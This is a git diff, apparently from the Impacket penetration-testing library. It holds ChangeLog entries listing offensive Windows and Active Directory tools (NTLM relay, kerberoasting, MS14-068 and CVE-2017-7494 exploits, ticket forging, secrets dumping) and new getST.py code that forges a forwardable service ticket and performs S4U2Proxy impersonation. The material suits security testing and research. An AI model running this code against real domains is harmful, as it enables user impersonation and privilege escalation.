specified. Added support for AES Kerberoast tickets (by @elitest).
|
||||
* [services.py](examples/services.py):
|
||||
* Added port 139 support and related options (by @real-datagram).
|
||||
* [samrdump.py](examples/samrdump.py):
|
||||
* `-csv` switch to output format in CSV added.
|
||||
* [ntlmrelayx.py](examples/ntlmrelayx.py):
|
||||
* Major architecture overhaul. Now working mostly through dynamically loaded plugins. SOCKS proxy support for relayed connections. Specific attacks for every protocol and new protocols support (IMAP, POP3, SMTP). Awesome contributions by @dirkjanm.
|
||||
* [secretsdump.py](examples/secretsdump.py):
|
||||
* AES(128) support for SAM hashes decryption. OldVal parameter dump added to LSA
|
||||
secrets dump (by @Ramzeth).
|
||||
* [mssqlclient.py](examples/mssqlclient.py):
|
||||
* Alternative method to execute cmd's on MSSQL (sp_start_job). (by @Kayzaks).
|
||||
* [lsalookupsid.py](examples/lsalookupsid.py):
|
||||
* Added no-pass and domain-users options (by @ropnop).
|
||||
|
||||
3. New Examples
|
||||
* [ticketer.py](examples/ticketer.py): Create Golden/Silver tickets from scratch or
|
||||
based on a template (legally requested from the KDC) allowing you to customize
|
||||
some of the parameters set inside the `PAC_LOGON_INFO` structure, in particular the
|
||||
groups, extrasids, duration, etc. Silver tickets creation by @machosec and @bransh.
|
||||
* [GetADUsers.py](examples/GetADUsers.py): Gathers data about the domain's users and
|
||||
their corresponding email addresses. It will also include some extra information
|
||||
about last logon and last password set attributes.
|
||||
* [getPac.py](examples/getPac.py): Gets the PAC (Privilege Attribute Certificate)
|
||||
structure of the specified target user just having a normal authenticated user
|
||||
credentials. It does so by using a mix of `[MS-SFU]`'s `S4USelf` + User to User
|
||||
Kerberos Authentication.
|
||||
* [getArch.py](examples/getArch.py): Will connect against a target (or list of targets)
|
||||
machine/s and gather the OS architecture type installed by (ab)using a documented MSRPC feature.
|
||||
* [mimikatz.py](examples/mimikatz.py): Mini shell to control a remote mimikatz RPC
|
||||
server developed by @gentilkiwi.
|
||||
* [sambaPipe.py](examples/sambaPipe.py): Will exploit CVE-2017-7494, uploading and
|
||||
executing the shared library specified by the user through the `-so` parameter.
|
||||
* [dcomexec.py](examples/dcomexec.py): A semi-interactive shell similar to `wmiexec.py`,
|
||||
but using different DCOM endpoints. Currently supports `MMC20.Application`, `ShellWindows` and
|
||||
`ShellBrowserWindow` objects. (contributions by @byt3bl33d3r).
|
||||
* [getTGT.py](examples/getTGT.py): Given a password, hash or aesKey, this script will
|
||||
request a TGT and save it as ccache.
|
||||
* [getST.py](examples/getST.py): Given a password, hash, aesKey or TGT in ccache, this
|
||||
script will request a Service Ticket and save it as ccache. If the account has constrained
|
||||
delegation (with protocol transition) privileges you will be able to use the `-impersonate`
|
||||
switch to request the ticket on behalf other user.
|
||||
|
||||
As always, thanks a lot to all these contributors that make this library better every day (since last version):
|
||||
|
||||
@dirkjanm, @real-datagram, @kacpern, @martinuy, @xelphene, @blark, @the-useless-one, @contactr2m, @droc, @martingalloar, @skelsec, @franferrax, @Fr0stbyt3, @ropnop, @MrAnde7son, @machosec, @federicoemartinez, @elitest, @symeonp, @Kanda-Motohiro, @Ramzeth, @mohemiv, @arch4ngel, @derekchentrendmicro, @Kayzaks, @donwayo, @bao7uo, @byt3bl33d3r, @xambroz, @luzpaz, @TheNaterz, @Mikkgn, @derUnbekannt.
|
||||
|
||||
|
||||
## Impacket v0.9.15 (June 2016):
|
||||
|
||||
1. Library improvements
|
||||
* `SMB3.create`: define `CreateContextsOffset` and `CreateContextsLength` when applicable (by @rrerolle)
|
||||
* Retrieve user principal name from `CCache` file allowing to call any script with `-k` and just the target system (by @MrTchuss)
|
||||
* Packet fragmentation for DCE RPC layer mayor overhaul.
|
||||
* Improved pass-the-key attacks scenarios (by @skelsec)
|
||||
* Adding a minimalistic LDAP/s implementation (supports PtH/PtT/PtK). Only search is available (and you need to
|
||||
build the search filter yourself)
|
||||
* IPv6 improvements for DCERPC/LDAP and Kerberos
|
||||
|
||||
2. Examples improvements
|
||||
* Adding `-dc-ip` switch to all examples. It allows specifying what the IP for the domain is.
|
||||
It assumes the DC and KDC resides in the same server.
|
||||
* `secretsdump.py`:
|
||||
* Adding support for Win2016 TP4 in LOCAL or `-use-vss` mode
|
||||
* Adding `-just-dc-user` switch to download just a single user data (DRSUAPI mode only)
|
||||
* Support for different ReplEpoch (DRSUAPI only)
|
||||
* pwdLastSet is also included in the output file
|
||||
* New structures/flags added for 2016 TP5 PAM support
|
||||
* `wmiquery.py`:
|
||||
* Adding `-rpc-auth-level` switch (by @gadio)
|
||||
* `smbrelayx.py`:
|
||||
* Added option to specify authentication status code to be sent to requesting client (by @mgeeky)
|
||||
* Added one-shot parameter. After successful authentication, only execute the attack once for each target (per protocol)
|
||||
|
||||
3. New Examples
|
||||
* `GetUserSPNs.py`: This module will try to find Service Principal Names that are associated with normal user account.
|
||||
This is part of the kerberoast attack researched by Tim Medin (@timmedin)
|
||||
* `ntlmrelayx.py`: `smbrelayx.py` on steroids!. NTLM relay attack from/to multiple protocols (HTTP/SMB/LDAP/MSSQL/etc)
|
||||
(by @dirkjanm)
|
||||
|
||||
|
||||
## Impacket v0.9.14 (January 2016):
|
||||
|
||||
1. Library improvements
|
||||
* `[MS-TSCH]` - ATSVC, SASec and ITaskSchedulerService Interface implementations
|
||||
* `[MS-DRSR]` - Directory Replication Service DRSUAPI Interface implementation
|
||||
* Network Data Representation (NDR) runtime overhaul. Big performance and reliability improvements achieved
|
||||
* Unicode support (optional) for the SMBv1 stack (by @rdubourguais)
|
||||
* NTLMv2 enforcement option on SMBv1 client stack (by @scriptjunkie)
|
||||
* Kerberos support for TDS (MSSQL)
|
||||
* Extended present flags support on RadioTap class
|
||||
* Old DCERPC runtime code removed
|
||||
|
||||
2. Examples improvements
|
||||
* `mssqlclient.py`:
|
||||
* Added Kerberos authentication support
|
||||
* `atexec.py`:
|
||||
* It now uses ITaskSchedulerService interface, adding support for Windows 2012 R2
|
||||
* `smbrelayx.py`:
|
||||
* If no file to upload and execute is specified (-E) it just dumps the target user's hashes by default
|
||||
* Added -c option to execute custom commands in the target (by @byt3bl33d3r)
|
||||
* `secretsdump.py`:
|
||||
* Active Directory hashes/Kerberos keys are dumped using `[MS-DRSR]` (`IDL_DRSGetNCChanges` method)
|
||||
by default. VSS method is still available by using the -use-vss switch
|
||||
* Added `-just-dc` (Extract only NTDS.DIT NTLM Hashes and Kerberos) and
|
||||
`-just-dc-ntlm` (only NTDS.DIT NTLM Hashes) options
|
||||
* Added resume capability (only for NTDS in DRSUAPI mode) in case the connection drops.
|
||||
Use `-resumefile` option.
|
||||
* Added Primary:CLEARTEXT Property from supplementalCredentials attribute dump (`[MS-SAMR]` `3.1.1.8.11.5`)
|
||||
* Add support for multiple password encryption keys (PEK) (by @s0crat)
|
||||
* `goldenPac.py`:
|
||||
* Tests all DCs in domain and adding forest's enterprise admin group inside PAC
|
||||
|
||||
3. New examples
|
||||
* `raiseChild.py`: Child domain to forest privilege escalation exploit. Implements a
|
||||
child-domain to forest privilegeescalation as [detailed by Sean Metcalf](https://adsecurity.org/?p=1640).
|
||||
* `netview.py`: Gets a list of the sessions opened at the remote hosts and keep track of them (original idea by @mubix)
|
||||
|
||||
|
||||
## Impacket v0.9.13 (May 2015):
|
||||
|
||||
1. Library improvements
|
||||
* Kerberos support for SMB and DCERPC featuring:
|
||||
* `kerberosLogin()` added to SMBConnection (all SMB versions).
|
||||
* Support for `RPC_C_AUTHN_GSS_NEGOTIATE` at the DCERPC layer. This will
|
||||
negotiate Kerberos. This also includes DCOM.
|
||||
* Pass-the-hash, pass-the-ticket and pass-the-key support.
|
||||
* Ccache support, compatible with Kerberos utilities (kinit, klist, etc).
|
||||
* Support for `RC4`, `AES128_CTS_HMAC_SHA1_96` and `AES256_CTS_HMAC_SHA1_96` ciphers.
|
||||
* Support for `RPC_C_AUTHN_LEVEL_PKT_PRIVACY`/`RPC_C_AUTHN_LEVEL_PKT_INTEGRITY`.
|
||||
* `[MS-SAMR]`: Supplemental Credentials support (used by secretsdump.py)
|
||||
* SMBSERVER improvements:
|
||||
* SMB2 (2.002) dialect experimental support.
|
||||
* Adding capability to export to John The Ripper format files
|
||||
* Library logging overhaul. Now there's a single logger called `impacket`.
|
||||
|
||||
2. Examples improvements
|
||||
* Added Kerberos support to all modules (incl. pass-the-ticket/key)
|
||||
* Ported most of the modules to the new dcerpc.v5 runtime.
|
||||
* `secretsdump.py`:
|
||||
* Added dumping Kerberos keys when parsing NTDS.DIT
|
||||
* `smbserver.py`:
|
||||
* Support for SMB2 (not enabled by default)
|
||||
* `smbrelayx.py`:
|
||||
* Added support for MS15-027 exploitation.
|
||||
|
||||
3. New examples
|
||||
* `goldenPac.py`: MS14-068 exploit. Saves the golden ticket and also launches a
|
||||
psexec session at the target.
|
||||
* `karmaSMB.py`: SMB Server that answers specific file contents regardless of
|
||||
the SMB share and pathname requested.
|
||||
* `wmipersist.py`: Creates persistence over WMI. Adds/Removes WMI Event
|
||||
Consumers/Filters to execute VBS based on a WQL filter or timer specified.
|
||||
|
||||
|
||||
## Impacket v0.9.12 (July 2014):
|
||||
|
||||
1. Library improvements
|
||||
* The following protocols were added based on its standard definition
|
||||
* `[MS-DCOM]` - Distributed Component Object module Protocol (`dcom.py`)
|
||||
* `[MS-OAUT]` - OLE Automation Protocol (`dcom/oaut.py`)
|
||||
* `[MS-WMI]`/`[MS-WMIO]` : Windows Management Instrumentation Remote Protocol (`dcom/wmi.py`)
|
||||
|
||||
2. New examples
|
||||
* `wmiquery.py`: executes WMI queries and get WMI object's descriptions.
|
||||
* `wmiexec.py`: agent-less, semi-interactive shell using WMI.
|
||||
* `smbserver.py`: quick an easy way to share files using the SMB protocol.
|
||||
|
||||
|
||||
## Impacket v0.9.11 (February 2014):
|
||||
|
||||
1. Library improvements
|
||||
* New RPC and NDR runtime (located at `impacket.dcerpc.v5`, old one still available)
|
||||
* Support marshaling/unmarshaling for NDR20 and NDR64 (experimental)
|
||||
* Support for `RPC_C_AUTHN_NETLOGON` (experimental)
|
||||
* The following interface were developed based on its standard definition:
|
||||
* `[MS-LSAD]` - Local Security Authority (Domain Policy) Remote Protocol (lsad.py)
|
||||
* `[MS-LSAT]` - Local Security Authority (Translation Methods) Remote Protocol (lsat.py)
|
||||
* `[MS-NRPC]` - Netlogon Remote Protocol (nrpc.py)
|
||||
* `[MS-RRP]` - Windows Remote Registry Protocol (rrp.py)
|
||||
* `[MS-SAMR]` - Security Account Manager (SAM) Remote Protocol (samr.py)
|
||||
* `[MS-SCMR]` - Service Control Manager Remote Protocol (scmr.py)
|
||||
* `[MS-SRVS]` - Server Service Remote Protocol (srvs.py)
|
||||
* `[MS-WKST]` - Workstation Service Remote Protocol (wkst.py)
|
||||
* `[MS-RPCE]-C706` - Remote Procedure Call Protocol Extensions (epm.py)
|
||||
* `[MS-DTYP]` - Windows Data Types (dtypes.py)
|
||||
* Most of the DCE Calls have helper functions for easier use. Test cases added for
|
||||
all calls (check the test cases directory)
|
||||
* ESE parser (Extensive Storage Engine) (ese.py)
|
||||
* Windows Registry parser (winregistry.py)
|
||||
* TDS protocol now supports SSL, can be used from mssqlclient
|
||||
* Support for EAPOL, EAP and WPS decoders
|
||||
* VLAN tagging (IEEE 802.1Q and 802.1ad) support for ImpactPacket, done by dan.pisi
|
||||
|
||||
2. New examples
|
||||
* `rdp_check.py`: tests whether an account (pwd or hashes) is valid against an RDP server
|
||||
* `esentutl.py`: ESE example to show how to interact with ESE databases (e.g. NTDS.dit)
|
||||
* `ntfs-read.py`: mini shell for browsing an NTFS volume
|
||||
* `registry-read.py`: Windows offline registry reader
|
||||
* `secretsdump.py`: agent-less remote windows secrets dump (SAM, LSA, CDC, NTDS)
|
||||
|
||||
|
||||
## Impacket v0.9.10 (March 2013):
|
||||
|
||||
1. Library improvements
|
||||
* SMB version 2 and 3 protocol support (`[MS-SMB2]`). Signing supported, encryption for
|
||||
SMB3 still pending.
|
||||
* Added a SMBConnection layer on top of each SMB specific protocol. Much simpler and
|
||||
SMB version independent. It will pick the best SMB Version when connecting against the
|
||||
target. Check `smbconnection.py` for a list of available methods across all the protocols.
|
||||
* Partial TDS implementation (`[MS-TDS]` & `[MC-SQLR]`) so we could talk with MSSQL Servers.
|
||||
* Unicode support for the smbserver. Newer OSX won't connect to a non unicode SMB Server.
|
||||
* DCERPC Endpoints' new calls
|
||||
* EPM: `lookup()`: It can work as a general portmapper, or just to find specific interfaces/objects.
|
||||
|
||||
2. New examples
|
||||
* `mssqlclient.py`: A MS SQL client, allowing to do MS SQL or Windows Authentication (accepts hashes) and then gives
|
||||
you an SQL prompt for your pleasure.
|
||||
* `mssqlinstance.py`: Lists the MS SQL instances running on a target machine.
|
||||
* `rpcdump.py`: Output changed. Hopefully more useful. Parsed all the Windows Protocol Specification looking for the
|
||||
UUIDs used and that information is included as well. This could be helpful when reading a portmap output and to
|
||||
develop new functionality to interact against a target interface.
|
||||
* `smbexec.py`: Another alternative to psexec. Less capabilities but might work on tight AV environments. Based on the
|
||||
technique described at https://www.optiv.com/blog/owning-computers-without-shell-access. It also
|
||||
supports instantiating a local smbserver to receive the output of the commandos executed for those situations
|
||||
where no share is available on the other end.
|
||||
* `smbrelayx.py`: It now also listens on port 80 and forwards/reflects the credentials accordingly.
|
||||
|
||||
And finally tons of fixes :).
|
||||
|
||||
|
||||
## Impacket v0.9.9 (July 2012):
|
||||
|
||||
1. Library improvements
|
||||
* Added 802.11 packets encoding/decoding
|
||||
* Addition of support for IP6, ICMP6 and NDP packets. Addition of `IP6_Address` helper class.
|
||||
* SMB/DCERPC:
|
||||
* GSS-API/SPNEGO Support.
|
||||
* SPN support in auth blob.
|
||||
* NTLM2 and NTLMv2 support.
|
||||
* Default SMB port now 445. If `*SMBSERVER` is specified the library will try to resolve the netbios name.
|
||||
* Pass the hash supported for SMB/DCE-RPC.
|
||||
* IPv6 support for SMB/NMB/DCERPC.
|
||||
* DOMAIN support for authentication.
|
||||
* SMB signing support when server enforces it.
|
||||
* DCERPC signing/sealing for all NTLM flavours.
|
||||
* DCERPC transport now accepts an already established SMB connection.
|
||||
* Basic SMBServer implementation in Python. It allows third-party DCE-RPC servers to handle DCERPC Request (by
|
||||
forwarding named pipes requests).
|
||||
* Minimalistic SRVSVC dcerpc server to be used by SMBServer in order to avoid Windows 7 nasty bug when that pipe's
|
||||
not functional.
|
||||
* DCERPC Endpoints' new calls:
|
||||
* `SRVSVC`: `NetrShareEnum(Level1)`, `NetrShareGetInfo(Level2)`, `NetrServerGetInfo(Level2)`,
|
||||
`NetrRemoteTOD()`, `NetprNameCanonicalize()`.
|
||||
* `SVCCTL`: `CloseServiceHandle()`, `OpenSCManagerW()`, `CreateServiceW()`, `StartServiceW()`,
|
||||
`OpenServiceW()`, `OpenServiceA()`, `StopService()`, `DeleteService()`, `EnumServicesStatusW()`,
|
||||
`QueryServiceStatus()`, `QueryServiceConfigW()`.
|
||||
* `WKSSVC`: `NetrWkstaTransportEnum()`.
|
||||
* `SAMR`: `OpenAlias()`, `GetMembersInAlias()`.
|
||||
* `LSARPC`: `LsarOpenPolicy2()`, `LsarLookupSids()`, `LsarClose()`.
|
||||
|
||||
2. New examples
|
||||
* `ifmap.py`: First, this binds to the MGMT interface and gets a list of interface IDs. It adds to this a large list
|
||||
of interface UUIDs seen in the wild. It then tries to bind to each interface and reports whether the interface is
|
||||
listed and/or listening.
|
||||
* `lookupsid.py`: DCE/RPC lookup sid brute forcer example.
|
||||
* `opdump.py`: This binds to the given hostname:port and DCERPC interface. Then, it tries to call each of the first
|
||||
256 operation numbers in turn and reports the outcome of each call.
|
||||
* `services.py`: SVCCTL services common functions for manipulating services (START/STOP/DELETE/STATUS/CONFIG/LIST).
|
||||
* `test_wkssvc`: DCE/RPC WKSSVC examples, playing with the functions Implemented.
|
||||
* `smbrelayx`: Passes credentials to a third party server when doing MiTM.
|
||||
* `smbserver`: Multiprocess/threading smbserver supporting common file server functions. Authentication all done but
|
||||
not enforced. Tested under Windows, Linux and MacOS clients.
|
||||
* `smbclient.py`: now supports history, new commands also added.
|
||||
* `psexec.py`: Execute remote commands on Windows machines
|
||||
+1
-1
@@ -1,6 +1,6 @@
|
||||
include MANIFEST.in
|
||||
include LICENSE
|
||||
include ChangeLog
|
||||
include ChangeLog.md
|
||||
include README.md
|
||||
include SECURITY.md
|
||||
include TESTING.md
|
||||
|
||||
+280
-65
@@ -69,7 +69,7 @@ from impacket.winregistry import hexdump
|
||||
class GETST:
|
||||
def __init__(self, target, password, domain, options):
|
||||
self.__password = password
|
||||
self.__user= target
|
||||
self.__user = target
|
||||
self.__domain = domain
|
||||
self.__lmhash = ''
|
||||
self.__nthash = ''
|
||||
@@ -77,6 +77,7 @@ class GETST:
|
||||
self.__options = options
|
||||
self.__kdcHost = options.dc_ip
|
||||
self.__force_forwardable = options.force_forwardable
|
||||
self.__additional_ticket = options.additional_ticket
|
||||
self.__saveFileName = None
|
||||
if options.hashes is not None:
|
||||
self.__lmhash, self.__nthash = options.hashes.split(':')
|
||||
@@ -88,8 +89,215 @@ class GETST:
|
||||
ccache.fromTGS(ticket, sessionKey, sessionKey)
|
||||
ccache.saveFile(self.__saveFileName + '.ccache')
|
||||
|
||||
def doS4U2ProxyWithAdditionalTicket(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost, additional_ticket_path):
|
||||
if not os.path.isfile(additional_ticket_path):
|
||||
logging.error("Ticket %s doesn't exist" % additional_ticket_path)
|
||||
exit(0)
|
||||
else:
|
||||
decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0]
|
||||
logging.info("\tUsing additional ticket %s instead of S4U2Self" % additional_ticket_path)
|
||||
ccache = CCache.loadFile(additional_ticket_path)
|
||||
principal = ccache.credentials[0].header['server'].prettyPrint()
|
||||
creds = ccache.getCredential(principal.decode())
|
||||
TGS = creds.toTGS(principal)
|
||||
|
||||
tgs = decoder.decode(TGS['KDC_REP'], asn1Spec=TGS_REP())[0]
|
||||
|
||||
if logging.getLogger().level == logging.DEBUG:
|
||||
logging.debug('TGS_REP')
|
||||
print(tgs.prettyPrint())
|
||||
|
||||
if self.__force_forwardable:
|
||||
# Convert hashes to binary form, just in case we're receiving strings
|
||||
if isinstance(nthash, str):
|
||||
try:
|
||||
nthash = unhexlify(nthash)
|
||||
except TypeError:
|
||||
pass
|
||||
if isinstance(aesKey, str):
|
||||
try:
|
||||
aesKey = unhexlify(aesKey)
|
||||
except TypeError:
|
||||
pass
|
||||
|
||||
# Compute NTHash and AESKey if they're not provided in arguments
|
||||
if self.__password != '' and self.__domain != '' and self.__user != '':
|
||||
if not nthash:
|
||||
nthash = compute_nthash(self.__password)
|
||||
if logging.getLogger().level == logging.DEBUG:
|
||||
logging.debug('NTHash')
|
||||
print(hexlify(nthash).decode())
|
||||
if not aesKey:
|
||||
salt = self.__domain.upper() + self.__user
|
||||
aesKey = _AES256CTS.string_to_key(self.__password, salt, params=None).contents
|
||||
if logging.getLogger().level == logging.DEBUG:
|
||||
logging.debug('AESKey')
|
||||
print(hexlify(aesKey).decode())
|
||||
|
||||
# Get the encrypted ticket returned in the TGS. It's encrypted with one of our keys
|
||||
cipherText = tgs['ticket']['enc-part']['cipher']
|
||||
|
||||
# Check which cipher was used to encrypt the ticket. It's not always the same
|
||||
# This determines which of our keys we should use for decryption/re-encryption
|
||||
newCipher = _enctype_table[int(tgs['ticket']['enc-part']['etype'])]
|
||||
if newCipher.enctype == Enctype.RC4:
|
||||
key = Key(newCipher.enctype, nthash)
|
||||
else:
|
||||
key = Key(newCipher.enctype, aesKey)
|
||||
|
||||
# Decrypt and decode the ticket
|
||||
# Key Usage 2
|
||||
# AS-REP Ticket and TGS-REP Ticket (includes tgs session key or
|
||||
# application session key), encrypted with the service key
|
||||
# (section 5.4.2)
|
||||
plainText = newCipher.decrypt(key, 2, cipherText)
|
||||
encTicketPart = decoder.decode(plainText, asn1Spec=EncTicketPart())[0]
|
||||
|
||||
# Print the flags in the ticket before modification
|
||||
logging.debug('\tService ticket from S4U2self flags: ' + str(encTicketPart['flags']))
|
||||
logging.debug('\tService ticket from S4U2self is'
|
||||
+ ('' if (encTicketPart['flags'][TicketFlags.forwardable.value] == 1) else ' not')
|
||||
+ ' forwardable')
|
||||
|
||||
# Customize flags the forwardable flag is the only one that really matters
|
||||
logging.info('\tForcing the service ticket to be forwardable')
|
||||
# convert to string of bits
|
||||
flagBits = encTicketPart['flags'].asBinary()
|
||||
# Set the forwardable flag. Awkward binary string insertion
|
||||
flagBits = flagBits[:TicketFlags.forwardable.value] + '1' + flagBits[TicketFlags.forwardable.value + 1:]
|
||||
# Overwrite the value with the new bits
|
||||
encTicketPart['flags'] = encTicketPart['flags'].clone(value=flagBits) # Update flags
|
||||
|
||||
logging.debug('\tService ticket flags after modification: ' + str(encTicketPart['flags']))
|
||||
logging.debug('\tService ticket now is'
|
||||
+ ('' if (encTicketPart['flags'][TicketFlags.forwardable.value] == 1) else ' not')
|
||||
+ ' forwardable')
|
||||
|
||||
# Re-encode and re-encrypt the ticket
|
||||
# Again, Key Usage 2
|
||||
encodedEncTicketPart = encoder.encode(encTicketPart)
|
||||
cipherText = newCipher.encrypt(key, 2, encodedEncTicketPart, None)
|
||||
|
||||
# put it back in the TGS
|
||||
tgs['ticket']['enc-part']['cipher'] = cipherText
|
||||
|
||||
################################################################################
|
||||
# Up until here was all the S4USelf stuff. Now let's start with S4U2Proxy
|
||||
# So here I have a ST for me.. I now want a ST for another service
|
||||
# Extract the ticket from the TGT
|
||||
ticketTGT = Ticket()
|
||||
ticketTGT.from_asn1(decodedTGT['ticket'])
|
||||
|
||||
# Get the service ticket
|
||||
ticket = Ticket()
|
||||
ticket.from_asn1(tgs['ticket'])
|
||||
|
||||
apReq = AP_REQ()
|
||||
apReq['pvno'] = 5
|
||||
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
|
||||
|
||||
opts = list()
|
||||
apReq['ap-options'] = constants.encodeFlags(opts)
|
||||
seq_set(apReq, 'ticket', ticketTGT.to_asn1)
|
||||
|
||||
authenticator = Authenticator()
|
||||
authenticator['authenticator-vno'] = 5
|
||||
authenticator['crealm'] = str(decodedTGT['crealm'])
|
||||
|
||||
clientName = Principal()
|
||||
clientName.from_asn1(decodedTGT, 'crealm', 'cname')
|
||||
|
||||
seq_set(authenticator, 'cname', clientName.components_to_asn1)
|
||||
|
||||
now = datetime.datetime.utcnow()
|
||||
authenticator['cusec'] = now.microsecond
|
||||
authenticator['ctime'] = KerberosTime.to_asn1(now)
|
||||
|
||||
encodedAuthenticator = encoder.encode(authenticator)
|
||||
|
||||
# Key Usage 7
|
||||
# TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes
|
||||
# TGS authenticator subkey), encrypted with the TGS session
|
||||
# key (Section 5.5.1)
|
||||
encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None)
|
||||
|
||||
apReq['authenticator'] = noValue
|
||||
apReq['authenticator']['etype'] = cipher.enctype
|
||||
apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator
|
||||
|
||||
encodedApReq = encoder.encode(apReq)
|
||||
|
||||
tgsReq = TGS_REQ()
|
||||
|
||||
tgsReq['pvno'] = 5
|
||||
tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
|
||||
tgsReq['padata'] = noValue
|
||||
tgsReq['padata'][0] = noValue
|
||||
tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value)
|
||||
tgsReq['padata'][0]['padata-value'] = encodedApReq
|
||||
|
||||
# Add resource-based constrained delegation support
|
||||
paPacOptions = PA_PAC_OPTIONS()
|
||||
paPacOptions['flags'] = constants.encodeFlags((constants.PAPacOptions.resource_based_constrained_delegation.value,))
|
||||
|
||||
tgsReq['padata'][1] = noValue
|
||||
tgsReq['padata'][1]['padata-type'] = constants.PreAuthenticationDataTypes.PA_PAC_OPTIONS.value
|
||||
tgsReq['padata'][1]['padata-value'] = encoder.encode(paPacOptions)
|
||||
|
||||
reqBody = seq_set(tgsReq, 'req-body')
|
||||
|
||||
opts = list()
|
||||
# This specified we're doing S4U
|
||||
opts.append(constants.KDCOptions.cname_in_addl_tkt.value)
|
||||
opts.append(constants.KDCOptions.canonicalize.value)
|
||||
opts.append(constants.KDCOptions.forwardable.value)
|
||||
opts.append(constants.KDCOptions.renewable.value)
|
||||
|
||||
reqBody['kdc-options'] = constants.encodeFlags(opts)
|
||||
service2 = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value)
|
||||
seq_set(reqBody, 'sname', service2.components_to_asn1)
|
||||
reqBody['realm'] = self.__domain
|
||||
|
||||
myTicket = ticket.to_asn1(TicketAsn1())
|
||||
seq_set_iter(reqBody, 'additional-tickets', (myTicket,))
|
||||
|
||||
now = datetime.datetime.utcnow() + datetime.timedelta(days=1)
|
||||
|
||||
reqBody['till'] = KerberosTime.to_asn1(now)
|
||||
reqBody['nonce'] = random.getrandbits(31)
|
||||
seq_set_iter(reqBody, 'etype',
|
||||
(
|
||||
int(constants.EncryptionTypes.rc4_hmac.value),
|
||||
int(constants.EncryptionTypes.des3_cbc_sha1_kd.value),
|
||||
int(constants.EncryptionTypes.des_cbc_md5.value),
|
||||
int(cipher.enctype)
|
||||
)
|
||||
)
|
||||
message = encoder.encode(tgsReq)
|
||||
|
||||
logging.info('\tRequesting S4U2Proxy')
|
||||
r = sendReceive(message, self.__domain, kdcHost)
|
||||
|
||||
tgs = decoder.decode(r, asn1Spec=TGS_REP())[0]
|
||||
|
||||
cipherText = tgs['enc-part']['cipher']
|
||||
|
||||
# Key Usage 8
|
||||
# TGS-REP encrypted part (includes application session
|
||||
# key), encrypted with the TGS session key (Section 5.4.2)
|
||||
plainText = cipher.decrypt(sessionKey, 8, cipherText)
|
||||
|
||||
encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0]
|
||||
|
||||
newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue'])
|
||||
|
||||
# Creating new cipher based on received keytype
|
||||
cipher = _enctype_table[encTGSRepPart['key']['keytype']]
|
||||
|
||||
return r, cipher, sessionKey, newSessionKey
|
||||
|
||||
def doS4U(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost):
|
||||
decodedTGT = decoder.decode(tgt, asn1Spec = AS_REP())[0]
|
||||
decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0]
|
||||
# Extract the ticket from the TGT
|
||||
ticket = Ticket()
|
||||
ticket.from_asn1(decodedTGT['ticket'])
|
||||
@@ -99,15 +307,15 @@ class GETST:
|
||||
apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value)
|
||||
|
||||
opts = list()
|
||||
apReq['ap-options'] = constants.encodeFlags(opts)
|
||||
seq_set(apReq,'ticket', ticket.to_asn1)
|
||||
apReq['ap-options'] = constants.encodeFlags(opts)
|
||||
seq_set(apReq, 'ticket', ticket.to_asn1)
|
||||
|
||||
authenticator = Authenticator()
|
||||
authenticator['authenticator-vno'] = 5
|
||||
authenticator['crealm'] = str(decodedTGT['crealm'])
|
||||
|
||||
clientName = Principal()
|
||||
clientName.from_asn1( decodedTGT, 'crealm', 'cname')
|
||||
clientName.from_asn1(decodedTGT, 'crealm', 'cname')
|
||||
|
||||
seq_set(authenticator, 'cname', clientName.components_to_asn1)
|
||||
|
||||
@@ -118,7 +326,7 @@ class GETST:
|
||||
if logging.getLogger().level == logging.DEBUG:
|
||||
logging.debug('AUTHENTICATOR')
|
||||
print(authenticator.prettyPrint())
|
||||
print ('\n')
|
||||
print('\n')
|
||||
|
||||
encodedAuthenticator = encoder.encode(authenticator)
|
||||
|
||||
@@ -136,7 +344,7 @@ class GETST:
|
||||
|
||||
tgsReq = TGS_REQ()
|
||||
|
||||
tgsReq['pvno'] = 5
|
||||
tgsReq['pvno'] = 5
|
||||
tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value)
|
||||
|
||||
tgsReq['padata'] = noValue
|
||||
@@ -149,7 +357,7 @@ class GETST:
|
||||
# identified to the KDC by the user's name and realm.
|
||||
clientName = Principal(self.__options.impersonate, type=constants.PrincipalNameType.NT_PRINCIPAL.value)
|
||||
|
||||
S4UByteArray = struct.pack('<I',constants.PrincipalNameType.NT_PRINCIPAL.value)
|
||||
S4UByteArray = struct.pack('<I', constants.PrincipalNameType.NT_PRINCIPAL.value)
|
||||
S4UByteArray += b(self.__options.impersonate) + b(self.__domain) + b'Kerberos'
|
||||
|
||||
if logging.getLogger().level == logging.DEBUG:
|
||||
@@ -187,9 +395,9 @@ class GETST:
|
||||
reqBody = seq_set(tgsReq, 'req-body')
|
||||
|
||||
opts = list()
|
||||
opts.append( constants.KDCOptions.forwardable.value )
|
||||
opts.append( constants.KDCOptions.renewable.value )
|
||||
opts.append( constants.KDCOptions.canonicalize.value )
|
||||
opts.append(constants.KDCOptions.forwardable.value)
|
||||
opts.append(constants.KDCOptions.renewable.value)
|
||||
opts.append(constants.KDCOptions.canonicalize.value)
|
||||
|
||||
reqBody['kdc-options'] = constants.encodeFlags(opts)
|
||||
|
||||
@@ -203,7 +411,7 @@ class GETST:
|
||||
reqBody['till'] = KerberosTime.to_asn1(now)
|
||||
reqBody['nonce'] = random.getrandbits(31)
|
||||
seq_set_iter(reqBody, 'etype',
|
||||
(int(cipher.enctype),int(constants.EncryptionTypes.rc4_hmac.value)))
|
||||
(int(cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value)))
|
||||
|
||||
if logging.getLogger().level == logging.DEBUG:
|
||||
logging.debug('Final TGS')
